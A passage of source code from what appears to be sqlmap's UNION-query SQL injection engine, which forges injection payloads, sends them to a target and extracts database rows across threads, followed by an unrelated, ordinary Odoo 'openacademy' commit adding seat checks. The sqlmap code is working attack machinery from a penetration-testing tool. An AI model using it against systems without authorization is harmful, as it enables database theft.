from lib.core.threads import getCurrentThreadData
from lib.core.threads import runThreads
from lib.core.unescaper import unescaper
from lib.request.connect import Connect as Request

def _oneShotUnionUse(expression, unpack=True, limited=False):
    retVal = hashDBRetrieve("%s%s" % (conf.hexConvert, expression), checkConf=True)  # as union data is stored raw unconverted

    threadData = getCurrentThreadData()
    threadData.resumed = retVal is not None

    if retVal is None:
        # Prepare expression with delimiters
        injExpression = unescaper.escape(agent.concatQuery(expression, unpack))

        where = PAYLOAD.WHERE.NEGATIVE if conf.limitStart or conf.limitStop else None

        # Forge the union SQL injection request
        vector = kb.injection.data[PAYLOAD.TECHNIQUE.UNION].vector
        kb.unionDuplicates = vector[7]
        query = agent.forgeUnionQuery(injExpression, vector[0], vector[1], vector[2], vector[3], vector[4], vector[5], vector[6], None, limited)
        payload = agent.payload(newValue=query, where=where)

        # Perform the request
        page, headers = Request.queryPage(payload, content=True, raise404=False)

        incrementCounter(PAYLOAD.TECHNIQUE.UNION)

        # Parse the returned page to get the exact union-based
        # SQL injection output
        def _(regex):
            return reduce(lambda x, y: x if x is not None else y, (\
                    extractRegexResult(regex, removeReflectiveValues(page, payload), re.DOTALL | re.IGNORECASE), \
                    extractRegexResult(regex, removeReflectiveValues(listToStrValue(headers.headers \
                    if headers else None), payload, True), re.DOTALL | re.IGNORECASE)), \
                    None)

        # Automatically patching last char trimming cases
        if kb.chars.stop not in (page or "") and kb.chars.stop[:-1] in (page or ""):
            warnMsg = "automatically patching output having last char trimmed"
            singleTimeWarnMessage(warnMsg)
            page = page.replace(kb.chars.stop[:-1], kb.chars.stop)

        retVal = _("(?P<result>%s.*%s)" % (kb.chars.start, kb.chars.stop))

        if retVal is not None:
            retVal = getUnicode(retVal, kb.pageEncoding)

            # Special case when DBMS is Microsoft SQL Server and error message is used as a result of union injection
            if Backend.isDbms(DBMS.MSSQL) and wasLastResponseDBMSError():
                retVal = htmlunescape(retVal).replace("
", "\n")

            hashDBWrite("%s%s" % (conf.hexConvert, expression), retVal)
        else:
            trimmed = _("%s(?P<result>.*?)<" % (kb.chars.start))

            if trimmed:
                warnMsg = "possible server trimmed output detected "
                warnMsg += "(probably due to its length and/or content): "
                warnMsg += safecharencode(trimmed)
                logger.warn(warnMsg)

    return retVal

def configUnion(char=None, columns=None):
    def _configUnionChar(char):
        if not isinstance(char, basestring):
            return

        kb.uChar = char

        if conf.uChar is not None:
            kb.uChar = char.replace("[CHAR]", conf.uChar if conf.uChar.isdigit() else "'%s'" % conf.uChar.strip("'"))

    def _configUnionCols(columns):
        if not isinstance(columns, basestring):
            return

        columns = columns.replace(" ", "")
        if "-" in columns:
            colsStart, colsStop = columns.split("-")
        else:
            colsStart, colsStop = columns, columns

        if not colsStart.isdigit() or not colsStop.isdigit():
            raise SqlmapSyntaxException("--union-cols must be a range of integers")

        conf.uColsStart, conf.uColsStop = int(colsStart), int(colsStop)

        if conf.uColsStart > conf.uColsStop:
            errMsg = "--union-cols range has to be from lower to "
            errMsg += "higher number of columns"
            raise SqlmapSyntaxException(errMsg)

    _configUnionChar(char)
    _configUnionCols(conf.uCols or columns)

def unionUse(expression, unpack=True, dump=False):
    """
    This function tests for an union SQL injection on the target
    url then call its subsidiary function to effectively perform an
    union SQL injection on the affected url
    """

    initTechnique(PAYLOAD.TECHNIQUE.UNION)

    abortedFlag = False
    count = None
    origExpr = expression
    startLimit = 0
    stopLimit = None
    value = None

    width = getConsoleWidth()
    start = time.time()

    _, _, _, _, _, expressionFieldsList, expressionFields, _ = agent.getFields(origExpr)

    # Set kb.partRun in case the engine is called from the API
    kb.partRun = getPartRun(alias=False) if hasattr(conf, "api") else None

    if expressionFieldsList and len(expressionFieldsList) > 1 and "ORDER BY" in expression.upper():
        # Removed ORDER BY clause because UNION does not play well with it
        expression = re.sub("\s*ORDER BY\s+[\w,]+", "", expression, re.I)
        debugMsg = "stripping ORDER BY clause from statement because "
        debugMsg += "it does not play well with UNION query SQL injection"
        singleTimeDebugMessage(debugMsg)

    # We have to check if the SQL query might return multiple entries
    # if the technique is partial UNION query and in such case forge the
    # SQL limiting the query output one entry at a time
    # NOTE: we assume that only queries that get data from a table can
    # return multiple entries
    if (kb.injection.data[PAYLOAD.TECHNIQUE.UNION].where == PAYLOAD.WHERE.NEGATIVE or \
       (dump and (conf.limitStart or conf.limitStop)) or "LIMIT " in expression.upper()) and \
       " FROM " in expression.upper() and ((Backend.getIdentifiedDbms() \
       not in FROM_DUMMY_TABLE) or (Backend.getIdentifiedDbms() in FROM_DUMMY_TABLE \
       and not expression.upper().endswith(FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()]))) \
       and not re.search(SQL_SCALAR_REGEX, expression, re.I):
        expression, limitCond, topLimit, startLimit, stopLimit = agent.limitCondition(expression, dump)

        if limitCond:
            # Count the number of SQL query entries output
            countedExpression = expression.replace(expressionFields, queries[Backend.getIdentifiedDbms()].count.query % ('*' if len(expressionFieldsList) > 1 else expressionFields), 1)

            if " ORDER BY " in countedExpression.upper():
                _ = countedExpression.upper().rindex(" ORDER BY ")
                countedExpression = countedExpression[:_]

            output = _oneShotUnionUse(countedExpression, unpack)
            count = unArrayizeValue(parseUnionPage(output))

            if isNumPosStrValue(count):
                if isinstance(stopLimit, int) and stopLimit > 0:
                    stopLimit = min(int(count), int(stopLimit))
                else:
                    stopLimit = int(count)

                    infoMsg = "the SQL query used returns "
                    infoMsg += "%d entries" % stopLimit
                    logger.info(infoMsg)

            elif count and (not isinstance(count, basestring) or not count.isdigit()):
                warnMsg = "it was not possible to count the number "
                warnMsg += "of entries for the SQL query provided. "
                warnMsg += "sqlmap will assume that it returns only "
                warnMsg += "one entry"
                logger.warn(warnMsg)

                stopLimit = 1

            elif (not count or int(count) == 0):
                if not count:
                    warnMsg = "the SQL query provided does not "
                    warnMsg += "return any output"
                    logger.warn(warnMsg)
                else:
                    value = []  # for empty tables
                return value

            threadData = getCurrentThreadData()
            threadData.shared.limits = iter(xrange(startLimit, stopLimit))
            numThreads = min(conf.threads, (stopLimit - startLimit))
            threadData.shared.value = BigArray()
            threadData.shared.buffered = []
            threadData.shared.lastFlushed = startLimit - 1

            if stopLimit > TURN_OFF_RESUME_INFO_LIMIT:
                kb.suppressResumeInfo = True
                debugMsg = "suppressing possible resume console info because of "
                debugMsg += "large number of rows. It might take too long"
                logger.debug(debugMsg)

            try:
                def unionThread():
                    threadData = getCurrentThreadData()

                    while kb.threadContinue:
                        with kb.locks.limit:
                            try:
                                num = threadData.shared.limits.next()
                            except StopIteration:
                                break

                        if Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE):
                            field = expressionFieldsList[0]
                        elif Backend.isDbms(DBMS.ORACLE):
                            field = expressionFieldsList
                        else:
                            field = None

                        limitedExpr = agent.limitQuery(num, expression, field)
                        output = _oneShotUnionUse(limitedExpr, unpack, True)

                        if not kb.threadContinue:
                            break

                        if output:
                            if all(map(lambda _: _ in output, (kb.chars.start, kb.chars.stop))):
                                items = parseUnionPage(output)

                                with kb.locks.value:
                                    # in case that we requested N columns and we get M!=N then we have to filter a bit
                                    if isListLike(items) and len(items) > 1 and len(expressionFieldsList) > 1:
                                        items = [item for item in items if isListLike(item) and len(item) == len(expressionFieldsList)]
                                    index = None
                                    for index in xrange(len(threadData.shared.buffered)):
                                        if threadData.shared.buffered[index][0] >= num:
                                            break
                                    threadData.shared.buffered.insert(index or 0, (num, items))
                                    while threadData.shared.buffered and threadData.shared.lastFlushed + 1 == threadData.shared.buffered[0][0]:
                                        threadData.shared.lastFlushed += 1
                                        _ = threadData.shared.buffered[0][1]
                                        if not isNoneValue(_):
                                            threadData.shared.value.extend(arrayizeValue(_))
                                        del threadData.shared.buffered[0]
                            else:
                                with kb.locks.value:
                                    index = None
                                    for index in xrange(len(threadData.shared.buffered)):
                                        if threadData.shared.buffered[index][0] >= num:
                                            break
                                    threadData.shared.buffered.insert(index or 0, (num, None))
                                items = output.replace(kb.chars.start, "").replace(kb.chars.stop, "").split(kb.chars.delimiter)

                            if conf.verbose == 1 and not (threadData.resumed and kb.suppressResumeInfo):
                                status = "[%s] [INFO] %s: %s" % (time.strftime("%X"), "resumed" if threadData.resumed else "retrieved", safecharencode(",".join("\"%s\"" % _ for _ in flattenValue(arrayizeValue(items)))))

                                if len(status) > width:
                                    status = "%s..." % status[:width - 3]

                                dataToStdout("%s\r\n" % status, True)

                runThreads(numThreads, unionThread)

                if conf.verbose == 1:
                    clearConsoleLine(True)

            except KeyboardInterrupt:
                abortedFlag = True

                warnMsg = "user aborted during enumeration. sqlmap "
                warnMsg += "will display partial output"
                logger.warn(warnMsg)

            finally:
                for _ in sorted(threadData.shared.buffered):
                    if not isNoneValue(_[1]):
                        threadData.shared.value.extend(arrayizeValue(_[1]))
                value = threadData.shared.value
                kb.suppressResumeInfo = False

    if not value and not abortedFlag:
        output = _oneShotUnionUse(expression, unpack)
        value = parseUnionPage(output)

    duration = calculateDeltaSeconds(start)

    if not kb.bruteMode:
        debugMsg = "performed %d queries in %d seconds" % (kb.counters[PAYLOAD.TECHNIQUE.UNION], duration)
        logger.debug(debugMsg)

    return value
<|endoftext|>


<commit_before>#-*- coding: utf-8 -*-
from openerp import fields, models, api

class Session(models.Model):
    _name = 'openacademy.session'

    name = fields.Char(required=True)
    start_date = fields.Date(default=fields.Date.today)
    duration = fields.Float(digits=(6,2), help="Duration in day")
    seats = fields.Integer(string="Number of seats")
    active = fields.Boolean(default=True)

    instructor_id = fields.Many2one('res.partner', string="Instructor",
        domain=['|', ('instructor', '=', True),
                     ('category_id.name', 'ilike', "Teacher")])
    course_id = fields.Many2one('openacademy.course',
        ondelete='cascade', string="Course", required=True)
    attendee_ids = fields.Many2many('res.partner', string="Attendees")

    taken_seats = fields.Float(string="Taken seats", compute='_taken_seats')

    @api.one
    @api.depends('seats', 'attendee_ids')
    def _taken_seats(self):
            if not self.seats:
                self.taken_seats = 0.0
            else:
                self.taken_seats = 100.0 * len(self.attendee_ids) / self.seats

<commit_msg>[REF] openacademy: adding python contraint<commit_after>#-*- coding: utf-8 -*-
from openerp import fields, models, api, exceptions

class Session(models.Model):
    _name = 'openacademy.session'

    name = fields.Char(required=True)
    start_date = fields.Date(default=fields.Date.today)
    duration = fields.Float(digits=(6,2), help="Duration in day")
    seats = fields.Integer(string="Number of seats")
    active = fields.Boolean(default=True)

    instructor_id = fields.Many2one('res.partner', string="Instructor",
        domain=['|', ('instructor', '=', True),
                     ('category_id.name', 'ilike', "Teacher")])
    course_id = fields.Many2one('openacademy.course',
        ondelete='cascade', string="Course", required=True)
    attendee_ids = fields.Many2many('res.partner', string="Attendees")

    taken_seats = fields.Float(string="Taken seats", compute='_taken_seats')

    @api.one
    @api.depends('seats', 'attendee_ids')
    def _taken_seats(self):
            if not self.seats:
                self.taken_seats = 0.0
            else:
                self.taken_seats = 100.0 * len(self.attendee_ids) / self.seats

    @api.onchange('seats', 'attendee_ids')
    def _verify_valid_seats(self):
        if self.seats < 0:
            return {
                'warning': {
                    'title': "Incorrect 'seats' value",
                    'message': "The number of available seats may not be negative",
                },
            }
        if self.seats < len(self.attendee_ids):
            return {
                'warning': {
                    'title': "Too many attendees",
                    'message': "Increase seats or remove excess attendees",
                },
            }

    @api.constrains('instructor_id', 'attendee_ids')
    def _check_instructor_not_in_attendees(self):
        for r in self:
            if r.instructor_id and r.instructor_id in r.attendee_ids:
                raise exceptions.ValidationError("A session's instructor can't be an attendee")
<|endoftext|>